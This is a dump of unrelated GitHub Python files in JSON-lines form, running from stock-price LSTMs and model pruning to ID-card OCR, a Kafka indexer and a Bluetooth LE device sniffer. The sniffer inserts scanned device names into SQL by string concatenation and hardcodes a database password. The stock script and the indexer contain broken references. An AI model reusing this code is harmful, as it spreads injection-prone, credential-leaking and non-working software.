RobustScaler\n#rc=RobustScaler()\n#training_set_scaled=rc.fit_transform(dataset)\n\nfrom sklearn.preprocessing import MinMaxScaler\nsc = MinMaxScaler(feature_range=(0,1))\ntraining_set_scaled = sc.fit_transform(dataset)\n\n\n##try normalization\n#from sklearn.preprocessing import Normalizer\n#\n#norm=Normalizer()\n#training_set_normalized=norm.fit_transform(dataset)\n\n\n#Creating a data strucure with 60 timesteps and one output\n#n is the number of days back\nn=60\nX_train = []\ny_train = []\nfor i in range(n,len(dataset)):\n    X_train.append(training_set_scaled[i-n:i, :])\n    y_train.append(training_set_scaled[i, 8:10])\n\n\n\nX_train, y_train=np.array(X_train), np.array(y_train)\n\n\n\n\n# Reshaping\nX_train = np.reshape(X_train, (X_train.shape[0], X_train.shape[1], 10))\n\n# Importing the Keras libraries and packages\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import LSTM\nfrom keras.layers import Dropout\n\n# Initialising the RNN\nregressor = Sequential()\n\n# Adding the input layer and first LSTM layer\nregressor.add(LSTM(units = 50, return_sequences=True, input_shape = (X_train.shape[1], 10)))\nregressor.add(Dropout(0.2))\n\n#adding second LSTM Layer\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\nregressor.add(LSTM(units = 50, return_sequences=True ))\nregressor.add(Dropout(0.2))\n\n\n\n# Adding last LSTM Layer\nregressor.add(LSTM(units = 50))\nregressor.add(Dropout(0.2))\n\n#adding the output layer\nregressor.add(Dense(units=2))\n\n# Compiling the RNN\nregressor.compile(optimizer = 'adam', loss = 'mean_squared_error')\n\n# Fitting the RNN to the Training set\nregressor.fit(X_train, y_train, epochs =50, batch_size = 32)\n\n# Part 3 - Making the predictions and visualising the results\n\n\ninputs=dataset[len(dataset)-60:]\ninputs = sc.transform(inputs)\n\n#X_test=[]\n#\n#for i in range(1,2):\n#    X_test.append(inputs[i-1:i,0])\n\n#inputs=np.array(inputs)\nX_test=np.array(inputs)\nX_test = np.reshape(X_test, (1, X_test.shape[0], 10))\n\n\n#X_test=np.reshape(inputs, (1,inputs.shape[0],8))\n\n\npredicted_stock_price=regressor.predict(X_test)\n\n\nnew=np.zeros(shape=(len(X_test), 10) )\n\nnew[0,8:10]=predicted_stock_price\n\npredicted_stock_price=sc.inverse_transform(new)\n\n\nH_today=predicted_stock_price[0,8]+dataset[len(dataset)-1,7]\nL_today=predicted_stock_price[0,9]+dataset[len(dataset)-1,6]\n\n\n########\n# Getting the predicted stock price of 2017\ninputs = training_set[-60,:]\n##inputs = sc.transform(inputs)\n#inputs=np.reshape(inputs, (1, 1, 1))\n#predicted_stock_price = regressor.predict(inputs)\n#predicted_stock_price = sc.inverse_transform(predicted_stock_price)\n######\n#\n#\n#\n#\n## Getting the predicted stock price\n##get all\n#dataset_total=pd.concat((mystock_training['Adj. High'],mystock_test['Adj. High']),axis=0)\n#inputs = dataset_total[len(dataset_total)-len(mystock_test)-60:].values\n#inputs=inputs.reshape(-1,1)\n#inputs=sc.fit_transform(inputs)\n\n#X_test = np.reshape(X_train, (X_train.shape[0], X_train.shape[1], 6))\n\nX_test = np.reshape(X_train, (X_train.shape[0], X_train.shape[1], 6))\n\npredicted_stock_price = regressor.predict(inputs)\nprice=sc1.inverse_transform(predicted_stock_price)\n\n# Visualising the results\nplt.plot(real_stock_price, color = 'red', label = 'Real Google Stock Price')\nplt.plot(predicted_stock_price, color = 'blue', label = 'Predicted Google Stock Price')\nplt.title('Google Stock Price Prediction')\nplt.xlabel('Time')\nplt.ylabel('Google Stock Price')\nplt.legend()\nplt.show()","repo_name":"youngphero/MachineLearning-Finance","sub_path":"rnn.py","file_name":"rnn.py","file_ext":"py","file_size_in_byte":7060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"27680490242","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom numpy import linalg as LA\nfrom .utils import prune_rate, arg_nonzero_min\n\n__all__ = ['weight_prune', 'filter_prune']\n\ndef weight_prune(model, pruning_perc, prev_masks=None, norm=False, device='cpu'):\n    '''\n    Prune pruning_perc% weights globally (not layer-wise)\n    arXiv: 1606.09274\n    '''    \n    idx = 0\n    all_weights = []\n    for p in model.parameters():\n        if len(p.data.size()) != 1 and p.requires_grad:\n            if not prev_masks:\n                if not norm:\n                    all_weights += list(abs(p.cpu().data.numpy()).flatten())\n                else:\n                    all_weights += list(abs(p.cpu().data.numpy()).flatten() / LA.norm(abs(p.cpu().data.numpy()).flatten()))\n            else:\n                if not norm:\n                    all_weights += list(abs(p.cpu().data.numpy() * prev_masks[idx].cpu().numpy()).flatten())\n                else:\n                    all_weights += list(abs(p.cpu().data.numpy() * prev_masks[idx].cpu().numpy()).flatten() / LA.norm(abs(p.cpu().data.numpy() * prev_masks[idx].cpu().numpy()).flatten()))\n                idx += 1\n    threshold = np.percentile(np.array(all_weights), pruning_perc)\n    \n    # generate mask\n    idx = 0\n    masks = []\n    for p in model.parameters():\n        if len(p.data.size()) != 1 and p.requires_grad:\n            if not prev_masks:\n                if not norm:\n                    pruned_inds = p.data.abs() > threshold\n                else:\n                    norm_value = torch.norm(p.data.abs(), p=2)\n                    norm_value = torch.sum(norm_value)\n                    pruned_inds = (p.data.abs() / norm_value) > threshold\n            else:\n                if not norm:\n                    pruned_inds = p.data.abs() * prev_masks[idx] > threshold\n                    idx += 1\n                else:\n                    norm_value = torch.norm(p.data.abs() * prev_masks[idx], p=2)\n                    norm_value = torch.sum(norm_value)\n                    pruned_inds = (p.data.abs() * prev_masks[idx] / norm_value) > threshold\n                    idx += 1\n                    \n            masks.append(pruned_inds.type(p.dtype).to(device))\n    return masks\n\n\ndef prune_one_filter(model, masks, norm, device='cpu'):\n    '''\n    Pruning one least ``important'' feature map by the scaled l2norm of \n    kernel weights\n    arXiv:1611.06440\n    '''\n    NO_MASKS = False\n    # construct masks if there is not yet\n    if not masks:\n        masks = []\n        NO_MASKS = True\n\n    values = []\n    for p in model.parameters():\n        if len(p.data.size()) != 1 and p.requires_grad: # nasty way of selecting conv layer\n            p_np = p.data.cpu().numpy()\n\n            # construct masks if there is not\n            if NO_MASKS:\n                #masks.append(np.ones(p_np.shape).astype('float16'))\n                masks.append(torch.from_numpy(np.ones(p_np.shape)).type(p.dtype).to(device))\n                \n            if len(p.data.size()) == 4:\n                # find the scaled l2 norm for each filter this layer\n                value_this_layer = np.square(p_np).sum(axis=1).sum(axis=1)\\\n                    .sum(axis=1)/(p_np.shape[1]*p_np.shape[2]*p_np.shape[3])\n            # it means fully_connected layer\n            else:\n                value_this_layer = np.square(p_np.sum(axis=1)/p_np.shape[1])\n                \n            # normalization (important)\n            if norm:\n                value_this_layer = value_this_layer / np.sqrt(np.square(value_this_layer).sum())\n            min_value, min_ind = arg_nonzero_min(list(value_this_layer))\n            values.append([min_value, min_ind])\n\n    assert len(masks) == len(values), \"something wrong here\"\n\n    values = np.array(values)\n\n    # set mask corresponding to the filter to prune\n    to_prune_layer_ind = np.argmin(values[:, 0])\n    to_prune_filter_ind = int(values[to_prune_layer_ind, 1])\n    masks[to_prune_layer_ind][to_prune_filter_ind] = torch.tensor(0).type(p.dtype).to(device)\n\n    '''\n    print('Prune filter #{} in layer #{}'.format(\n        to_prune_filter_ind, \n        to_prune_layer_ind))\n    '''\n    return masks\n\n\ndef filter_prune(model, pruning_perc, prev_masks=None, norm=True, device='cpu'):\n    '''\n    Prune filters one by one until reach pruning_perc\n    (not iterative pruning)\n    '''\n    if not prev_masks:\n        masks = []\n    else:\n        masks = prev_masks\n    current_pruning_perc = 0.\n\n    while current_pruning_perc < pruning_perc:\n        masks = prune_one_filter(model, masks, norm, device=device)\n        model.set_masks(masks)\n        current_pruning_perc = prune_rate(model, verbose=False)\n        #print('{:.2f} pruned'.format(current_pruning_perc))\n\n    return masks","repo_name":"Lee-Gihun/MicroNet_OSI-AI","sub_path":"models/pruning/methods.py","file_name":"methods.py","file_ext":"py","file_size_in_byte":4776,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"16"}
+{"seq_id":"26206305592","text":"# coding=utf-8\r\nimport os\r\nfrom xml.etree.ElementTree import ElementTree, Element\r\n'''checkxml.py'''\r\ndef read_xml(in_path):\r\n    '''''读取并解析xml文件\r\n    in_path: xml路径\r\n    return: ElementTree'''\r\n    tree = ElementTree()\r\n    tree.parse(in_path)\r\n    return tree\r\n\r\ndef check():\r\n    url = \"E:/annotations/\"  # 修改成annotation的目录\r\n    i = 0\r\n    list_error = []\r\n    for item in os.listdir(url):\r\n        tree = read_xml(url + \"/\" + item)\r\n        root = tree.getroot()\r\n        object = root.findall(\"object\")\r\n        size = root.find(\"size\")\r\n        width = int(size.find(\"width\").text)\r\n        height = int(size.find(\"height\").text)\r\n        if object == None:\r\n            print(item)\r\n            continue\r\n        for it in object:\r\n            bndbox = it.find(\"bndbox\")\r\n            if bndbox == None:\r\n                print(\"bndbox == None\")\r\n                print(item)\r\n            xmin = int(bndbox.find(\"xmin\").text)\r\n            xmax = int(bndbox.find(\"xmax\").text)\r\n            ymin = int(bndbox.find(\"ymin\").text)\r\n            ymax = int(bndbox.find(\"ymax\").text)\r\n            if xmin <= 0 or xmin >= xmax or ymin <= 0 or ymin >= ymax:\r\n                # 本段注释的代码用于把xmin\\xmax, ymin\\ymax互换，以及把为0的xmin\\ymin改成1，一般来说用不到\r\n                # if xmin >= xmax:\r\n                #     temp = xmin\r\n                #     bndbox.find(\"xmin\").text = str(xmax)\r\n                #     bndbox.find(\"xmax\").text = str(temp)\r\n                # if ymin >= ymax:\r\n                #     temp = ymin\r\n                #     bndbox.find(\"ymin\").text = str(ymax)\r\n                #     bndbox.find(\"ymax\").text = str(temp)\r\n                # if xmin == 0:\r\n                #     bndbox.find(\"xmin\").text = str(1)\r\n                # if ymin == 0:\r\n                #     bndbox.find(\"ymin\").text = str(1)\r\n                # tree.write(\"E:/annotations_update/\"+item)\r\n                print(\"xmin <= 0 or xmin >= xmax or ymin <=0 or ymin >= ymax\", xmin, ymin) # 定位到出错的具体位置，在xml中搜索xmin或ymin的具体数据即可\r\n                print(item)\r\n                list_error.append(item)\r\n                i += 1\r\n            if xmax > width or ymax > height:\r\n                print(\"xmax > width or ymax> height\",xmin,ymax)\r\n                print(item)\r\n                list_error.append(item)\r\n                i += 1\r\n    print(list(set(list_error)))\r\n    print(len(list(set(list_error))))\r\n\r\nif __name__ == '__main__':\r\n    check()\r\n","repo_name":"little-spoon/voc2coco","sub_path":"voc2coco/checkxml.py","file_name":"checkxml.py","file_ext":"py","file_size_in_byte":2532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"371155540","text":"# -- coding: utf-8 --\n# @Time : 2020/3/20 下午5:38\n# @Author : Gao Shang\n# @File : recognition_words.py\n# @Software : PyCharm\n\n\nimport os\nimport cv2\nimport torch\nimport numpy as np\nfrom recognition_words_module import model\nfrom recognition_words_module import decode\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\nfrom recognition_words_module.alphabet import alphabet\n\nabsolute_path = os.path.dirname(__file__)\n\n# with open('../data/alphabet.txt', 'r') as f:\n#     alphabet = f.read().replace('\\n', '')\n# alphabet = [alphabet, '0123456789X-.长期']\n\n# model = [model.chsNet(1, len(alphabet[0]) + 1), model.digitsNet(1, len(alphabet[1]) + 1)]\n# if torch.cuda.is_available():\n#     # 中文模型\n#     model[0] = model[0].cuda()\n#     # 数字模型\n#     model[1] = model[1].cuda()\n# model[0].load_state_dict({k.replace('module.', ''): v for k, v in torch.load(absolute_path + '/data/chs.pth').items()})\n# model[1].load_state_dict({k.replace('module.', ''): v for k, v in torch.load(absolute_path + '/data/number.pth').items()})\n#\n\n# 定义词典，存储地区码和地址的对应关系\nlex_sex = ['男', '女']\nlex_nation = ['仡佬', '高山', '藏', '珞巴', '景颇', '门巴', '仫佬', '柯尔克孜',\n              '畲', '维吾尔', '阿昌', '瑶', '裕固', '撒拉', '土', '塔塔尔',\n              '侗', '傈僳', '傣', '崩龙', '苗', '达斡尔', '羌', '怒',\n              '水', '哈尼', '乌孜别克', '鄂温克', '回', '汉', '赫哲', '壮',\n              '黎', '布依', '保安', '土家', '鄂伦春', '佤', '哈萨克', '塔吉克',\n              '毛难', '俄罗斯', '蒙古', '纳西', '独龙', '东乡', '布朗', '拉祜',\n              '普米', '京', '彝', '朝鲜', '满', '白', '基诺', '锡伯']\nlex_year = [str(i) for i in range(1958, 2009)]\nlex_month = [str(i) for i in range(1, 13)]\nlex_day = [str(i) for i in range(1, 32)]\nlex_month_02d = ['%02d' % i for i in range(1, 13)]\nlex_day_02d = ['%02d' % i for i in range(1, 32)]\nlex_year_start = [str(i) for i in range(2009, 2020)]\nlex_year_end = [str(i) for i in range(2014, 2040)]\n\nlex_region = []  # 存储市级名称\nlex_code = []  # 存储市级代码编号\nregion_code = {}\ncode_region = {}  # 代码对应行政区字典\nfor line in open(absolute_path + '/data/code_region.txt', encoding='gbk'):\n    seg = line.strip().split(' ')\n    if len(seg[0]) != 6:\n        continue\n    code_region[seg[0]] = seg[1]\n    # 市级行政代码编号\n    if seg[0][2:] == '0000':\n        r1 = seg[1]\n        lex_region.append(r1)\n    elif seg[0][4:] == '00':\n        r2 = seg[1]\n        lex_region.append(r1 + r2)\n    else:\n        if lex_code[-1][4:] == '00':\n            lex_code.pop()\n            lex_region.pop()\n            if lex_code[-1][2:] == '0000':\n                lex_code.pop()\n                lex_region.pop()\n        lex_region.append(r1 + r2 + seg[1])\n    lex_code.append(seg[0])\nfor i in range(len(lex_code)):\n    region_code[lex_region[i]] = lex_code[i]\n\nlexicon = [decode.Lexicon(lex_sex, alphabet[0]), decode.Lexicon(lex_nation, alphabet[0]),\n           decode.Lexicon(lex_year, alphabet[1]), decode.Lexicon(lex_month, alphabet[1]),\n           decode.Lexicon(lex_day, alphabet[1]),\n           decode.Lexicon(lex_month_02d, alphabet[1]), decode.Lexicon(lex_day_02d, alphabet[1]),\n           decode.Lexicon(lex_region, alphabet[0]), decode.Lexicon(lex_code, alphabet[1]),\n           decode.Lexicon(lex_year_start, alphabet[1]), decode.Lexicon(lex_year_end, alphabet[1])]\n\n\ndef getRegionByCode(code):\n    if code not in code_region:\n        return None\n    cs = code[:2] + '0000'\n    rs = code_region[cs]\n    if cs == code:\n        return rs\n    cs = code[:4] + '00'\n    if len(code_region[cs]) > 1:\n        rs += code_region[cs]\n    if cs == code:\n        return rs\n    return rs + code_region[code]\n\n\ndef getBureauByCode(code):\n    if code not in code_region:\n        return None\n    cs = code[:4] + '00'\n    if len(code_region[cs]) > 1:\n        rs = code_region[cs]\n    else:\n        rs = ''\n    return rs + code_region[code] + '公安局'\n\n\ndef networkOutput(image, model):\n    imgH = 22\n    if image.shape[0] != imgH:\n        image = cv2.resize(image, (max(int(imgH * image.shape[1] / image.shape[0]), imgH), imgH),\n                           cv2.INTER_LINEAR)\n\n    image = torch.from_numpy(image.astype(np.float32))\n    if torch.cuda.is_available():\n        image = image.cuda()\n    image = Variable(image.view(1, 1, *image.size()))\n    model.eval()\n    preds = model(image)\n    preds = preds.view(preds.size(0), -1)\n    preds = F.softmax(preds, dim=1)\n\n    return preds.data\n\n\ndef getWordsResult(images, model):\n\n    name = decode.index_str(networkOutput(images[0], model[0]), alphabet[0])\n\n    sex, _ = decode.wordBeamSearch(networkOutput(images[1], model[0]), lexicon[0])\n\n    nation, _ = decode.wordBeamSearch(networkOutput(images[2], model[0]), lexicon[1])\n\n    year = decode.index_str(networkOutput(images[3], model[1]), alphabet[1])\n    month = decode.index_str(networkOutput(images[4], model[1]), alphabet[1])\n    day = decode.index_str(networkOutput(images[5], model[1]), alphabet[1])\n\n    addr_output = networkOutput(images[6], model[0])\n    region, score, t = decode.prefixBeamSearch(addr_output, lexicon[7])\n    code_output = networkOutput(images[7], model[1])\n    id_code, id_conf = decode.wordBeamSearch(code_output, lexicon[8])\n    id_tail = decode.index_str(networkOutput(images[11], model[1]), alphabet[1])\n    if region not in region_code:\n        region = getRegionByCode(id_code)\n        t, _ = decode.prefixMatch(addr_output, alphabet[0], region)\n    elif region_code[region] != id_code:\n        _, id_conf1 = decode.prefixMatch(code_output, alphabet[1], region_code[region])\n        t1, conf1 = decode.prefixMatch(addr_output, alphabet[0], getRegionByCode(id_code))\n        if score * id_conf1 < conf1 * id_conf:  # code is more confident\n            t = t1\n            region = getRegionByCode(id_code)\n        else:  # region is more confident\n            id_code = region_code[region]\n    else:  # just wanna align the region\n        t, _ = decode.prefixMatch(addr_output, alphabet[0], region)\n\n    address = region + decode.index_str(addr_output[t + 1:], alphabet[0])\n    idnumber = id_code + year + month + day + id_tail\n    agency = getBureauByCode(id_code)\n\n    if len(images) == 16:\n        # 长期\n        valid_year, _ = decode.wordBeamSearch(networkOutput(images[13], model[1]), lexicon[9])\n        valid_month, _ = decode.wordBeamSearch(networkOutput(images[14], model[1]), lexicon[5])\n        valid_day, _ = decode.wordBeamSearch(networkOutput(images[15], model[1]), lexicon[6])\n        valid_date = valid_year + '.' + valid_month + '.' + valid_day + '-长期'\n    else:\n        valid_year_start = networkOutput(images[13], model[1])\n        valid_year, score = decode.wordBeamSearch(valid_year_start, lexicon[9])\n\n        valid_year_end = networkOutput(images[16], model[1])\n        valid_year1, score1 = decode.wordBeamSearch(valid_year_end, lexicon[10])\n        if int(valid_year1) - int(valid_year) not in [5, 10, 20]:\n            if score1 > score:\n                score = 0\n                for i in [5, 10, 20]:\n                    year = str(int(valid_year1) - i)\n                    _, year_score = decode.prefixMatch(valid_year_start, alphabet[1], year)\n                    if year_score > score:\n                        valid_year = year\n                        score = year_score\n            else:\n                score1 = 0\n                for i in [5, 10, 20]:\n                    year = str(int(valid_year) + i)\n                    _, year_score = decode.prefixMatch(valid_year_end, alphabet[1], year)\n                    if year_score > score1:\n                        valid_year1 = year\n                        score1 = year_score\n        valid_month, score = decode.wordBeamSearch(networkOutput(images[14], model[1]), lexicon[5])\n        valid_month1, score1 = decode.wordBeamSearch(networkOutput(images[17], model[1]), lexicon[5])\n        if valid_month != valid_month1 and score1 > score:\n            valid_month = valid_month1\n\n        valid_day, score = decode.wordBeamSearch(networkOutput(images[15], model[1]), lexicon[6])\n        valid_day1, score1 = decode.wordBeamSearch(networkOutput(images[18], model[1]), lexicon[6])\n        if valid_day != valid_day1 and score1 > score:\n            valid_day = valid_day1\n\n        valid_date = '.' + valid_month + '.' + valid_day\n        valid_date = valid_year + valid_date + '-' + valid_year1 + valid_date\n\n    return [name, sex, nation, year, month, day, address, idnumber, agency, valid_date]\n","repo_name":"Alex-1997-Wzx/OCR_IDCARD","sub_path":"recognition_words_module/recognition_words.py","file_name":"recognition_words.py","file_ext":"py","file_size_in_byte":8642,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"3192266047","text":"from kafka import KafkaConsumer\nfrom elasticsearch import Elasticsearch\nimport json\nimport time\nfrom models import *\n\ntime.sleep(15)\n\nproducer = KafkaProducer(bootstrap_servers='kafka:9092')\nes = Elasticsearch(['es'])\n\nfor blog_post in BlogPost.objects.all():\n\tsome_new_listing = {'title': blog_post.title, 'body': blog_post.body, 'id': blog_post.pk}\n\tproducer.send('new-listings-topic', json.dumps(some_new_listing).encode('utf-8'))\n\nconsumer = KafkaConsumer('new-listings-topic', group_id='listing-indexer', bootstrap_servers=['kafka:9092'])\n\nwhile True:\n\tfor message in consumer:\n\t\tnew_listing = json.loads((message.value).decode('utf-8'))\n\t\tes.index(index='listing_index', doc_type='listing', id=new_listing['id'], body=new_listing)\n\t\tes.indices.refresh(index='listing_index')","repo_name":"msukkar/marketplace_of_ideas","sub_path":"model_api/model_api/indexer.py","file_name":"indexer.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"1841713887","text":"#메모리 :31256 시간 :44\nfrom itertools import combinations\nimport sys\ninput=sys.stdin.readline\nliist=[]\nwhile True:\n    string=list(map(int,input().split()))\n    if string[0]==0:\n        exit()\n    else:\n        for i in combinations(string[1:],6):\n            print(*i)\n    print()\n\n","repo_name":"meeeeju/Python-Algorithm-Study","sub_path":"hyunji/BOJ/BFS,DFS/6603_로또.py","file_name":"6603_로또.py","file_ext":"py","file_size_in_byte":289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"21308921174","text":"class Solution:\n    def expressiveWords(self, s: str, words: List[str]) -> int:\n        \n        def group(word):\n            groups = []\n            temp = []\n\n            for i in word:\n                if not temp or temp[-1] == i:\n                    temp.append(i)\n                elif temp:\n                    groups.append(''.join(temp))\n                    temp = [i]\n\n            if temp:\n                groups.append(''.join(temp))\n\n            return groups\n    \n    \n        s = group(s) \n        countSubtrings = 0\n\n        for word in words:\n            temp = group(word)\n            if len(s) != len(temp):\n                continue\n\n            isStrechy = True\n            for i in range(len(s)):\n                if len(temp[i]) == len(s[i]) and temp[i][0] == s[i][0]:\n                    continue\n\n                if len(s[i]) < 3 or len(s[i]) < len(temp[i]) or temp[i][0] != s[i][0]:\n                    isStrechy = False\n\n            if isStrechy:\n                countSubtrings += 1\n\n        return countSubtrings\n\n            \n        ","repo_name":"YeabAM/A2SV","sub_path":"0809-expressive-words/0809-expressive-words.py","file_name":"0809-expressive-words.py","file_ext":"py","file_size_in_byte":1058,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"16"}
+{"seq_id":"7896288063","text":"#!/usr/bin/python\n\nfrom __future__ import absolute_import\nfrom __future__ import print_function\nfrom six.moves import input\n__author__ = \"ktown\"\n__copyright__ = \"Copyright Adafruit Industries 2014 (adafruit.com)\"\n__license__ = \"MIT\"\n__version__ = \"0.1.0\"\n\nimport os\nimport sys\nimport time\nimport argparse\nimport csv\nimport requests\nimport mysql.connector as mariadb \nfrom datetime import datetime\nfrom SnifferAPI import Logger\nfrom SnifferAPI import Sniffer\nfrom SnifferAPI import CaptureFiles\nfrom SnifferAPI.Devices import Device\nfrom SnifferAPI.Devices import DeviceList\n\n\nmySniffer = None\n\"\"\"@type: SnifferAPI.Sniffer.Sniffer\"\"\"\n\n\ndef setup(serport, delay=6):\n    \"\"\"\n    Tries to connect to and initialize the sniffer using the specific serial port\n    @param serport: The name of the serial port to connect to (\"COM14\", \"/dev/tty.usbmodem1412311\", etc.)\n    @type serport: str\n    @param delay: Time to wait for the UART connection to be established (in seconds)\n    @param delay: int\n    \"\"\"\n    global mySniffer\n\n    # Initialize the device on the specified serial port\n    print(\"Connecting to sniffer on \" + serport)\n    mySniffer = Sniffer.Sniffer(serport)\n    # Start the sniffer\n    mySniffer.start()\n    # Wait a bit for the connection to initialise\n    time.sleep(delay)\n\n\ndef scanForDevices(scantime=5):\n    print(\"Starting BLE device scan ({0} seconds)\".format(str(scantime)))\n\n    mySniffer.scan()\n    time.sleep(scantime)\n    devs = mySniffer.getDevices()\n    devstr = str(devs)\n    devlist=devstr.split(\"BLE\")\n    del devlist[0] #Delete Description\n    for i in devlist:\n        name=str(i).split('\"\"',1)[1].split('\"\"',1)[0]\n        values=str(i).split(\"[\",1)[1].split(\"]\",1)[0]\n        valuelist=values.split(\",\")\n        newlist=[]\n        for i in valuelist:\n            i=i.replace(' ','')\n            try:\n                x=hex(int(i)).replace('0x','')\n            except:\n                x=i\n            if len(x)==1: # Wenn ein Teil der MAC einstellig ist, fuehrende '0' anstellen\n                x='0'+ x\n            newlist.append(x)\n        mac = newlist[0] + ':' +newlist[1] + ':' + newlist[2] + ':' + newlist[3] + ':' + newlist[4] + ':' + newlist[5]\n        connectable = newlist[6]\n        print(newlist[6])\n        time.sleep(2)\n        if newlist[6] == 'False':\n            r = requests.get('https://api.macvendors.com/' + mac);\n            vendor = r.text\n        else:\n            vendor = 'Not found'\n        if vendor.find('errors') == -1:\n            vendor = vendor\n        else:\n            vendor ='Not found'\n        device=[name,mac,connectable,vendor]\n       \n        try:\n            conn = mariadb.connect(\n                    user=\"writer\",\n                    password=\"PW4Writer!\",\n                    host=\"127.0.0.1\",\n                    port=3306,\n                    database=\"radio_mon\"\n            )\n        except mariadb.Error as e:\n            print(\"Error connecting to MariaDB: \" + e)\n        \n        cursor = conn.cursor()\n        cursor.execute(\"INSERT INTO ble(name, mac, connect, vendor, last_seen) VALUES ('\"+ name + \"', '\" + mac + \"', '\" + connectable + \"', '\" + vendor + \"', '\" +str(datetime.now())+ \"') ON DUPLICATE KEY UPDATE last_seen='\" + str(datetime.now()) + \"';\");\n        conn.commit()\n        conn.close()\n    return devs\n\nsetup('/dev/ttyUSB0')\nscanForDevices()\n\nexit()\n","repo_name":"FX0H4CK/RadioSecurity","sub_path":"BLE/Sniffer/sniffer.py","file_name":"sniffer.py","file_ext":"py","file_size_in_byte":3349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"15644827683","text":"import hashlib\nfrom decouple import config\nimport os\nimport pandas as pd\n\n\ndef md5(fname):\n    hash_md5 = hashlib.md5()\n    hash_md5.update(open(fname, 'rb').read())\n    return hash_md5.hexdigest()\n\n\nif __name__ == '__main__':\n    out_dir = config('OUT_PATH')\n    m5 = config('M5')\n    df = pd.read_csv(m5, sep='  ', engine='python')\n    for file in os.listdir(out_dir):\n        hash_file = md5(out_dir + '/' + file)\n        if df.loc[df['filename'] == file]['hash'].values[0] == hash_file:\n            print(f'{file} True')\n        else:\n            print(f'----- for {file} hash {hash_file} does not match:')\n            print(df.loc[df['filename'] == file]['filename'].values[0])\n            print(df.loc[df['filename'] == file]['hash'].values[0])\n","repo_name":"dmitriytiras/metrics","sub_path":"saudibell_wget/check_m5.py","file_name":"check_m5.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25558679927","text":"import pygame\n\n\nclass Interface:\n    def __init__(self, access):\n        self.access = access\n        self.player = access.player\n        self.stats = access.stats\n        self.setting = access.setting\n        self.screen = access.screen\n        self.screen_rect = self.screen.get_rect()\n\n        #   Scores Font\n        self.score_font = pygame.font.SysFont('ROG Fonts', 24, True)\n        self.hs_font = pygame.font.SysFont('ROG Fonts', 40, True)\n        self.lv_font = pygame.font.SysFont('ROG Fonts', 24, True)\n\n        #   Player_Health\n        self.start_width = 200\n        self.h_width = 200\n        self.h_height = 20\n        self.pos_x = 30\n        self.pos_y = 40\n\n    def update_scores(self, score):\n        scores_image = self.score_font.render(str(score), True, self.setting.white)\n        rect_scores = scores_image.get_rect()\n\n        rect_scores.right = self.screen_rect.right - 20\n        rect_scores.top = self.screen_rect.top + 60\n\n        self.screen.blit(scores_image, rect_scores)\n\n    def update_high_scores(self, score):\n        highscore = 0\n        if score > self.stats.highscore:\n            self.stats.highscore = score\n        else:\n            highscore = self.stats.highscore\n\n        hs_image = self.hs_font.render(str(highscore), True, self.setting.white)\n        rect_hs_image = hs_image.get_rect()\n        rect_hs_image.centerx = self.screen_rect.centerx\n        rect_hs_image.top = self.screen_rect.top + 20\n\n        self.screen.blit(hs_image, rect_hs_image)\n\n    def update_health(self, hp):\n\n        #   Calculate decrement of health bar width\n        width_decrease = self.start_width - (self.start_width / self.setting.player_health) * \\\n                         (self.setting.player_health - hp)\n\n        outer_hp = pygame.Surface((self.h_width + 10, self.h_height + 10))\n        outer_hp.fill(self.setting.gray)\n        rect_outer = outer_hp.get_rect(midleft=(self.pos_x - 5, self.pos_y))\n\n        #   Carry out when player HP > 0\n        try:\n            inner_hp = pygame.Surface((width_decrease, self.h_height))\n            inner_hp.fill(self.setting.blue)\n            rect_inner = inner_hp.get_rect(midleft=(self.pos_x, self.pos_y))\n\n            self.screen.blit(outer_hp, rect_outer)\n            self.screen.blit(inner_hp, rect_inner)\n\n        except pygame.error:  # When player HP == 0\n            self.screen.blit(outer_hp, rect_outer)\n\n    def update_life(self, lives):\n        for life_number in range(lives):\n            life = pygame.image.load('./data/images/tank_up(1).png').convert_alpha()\n            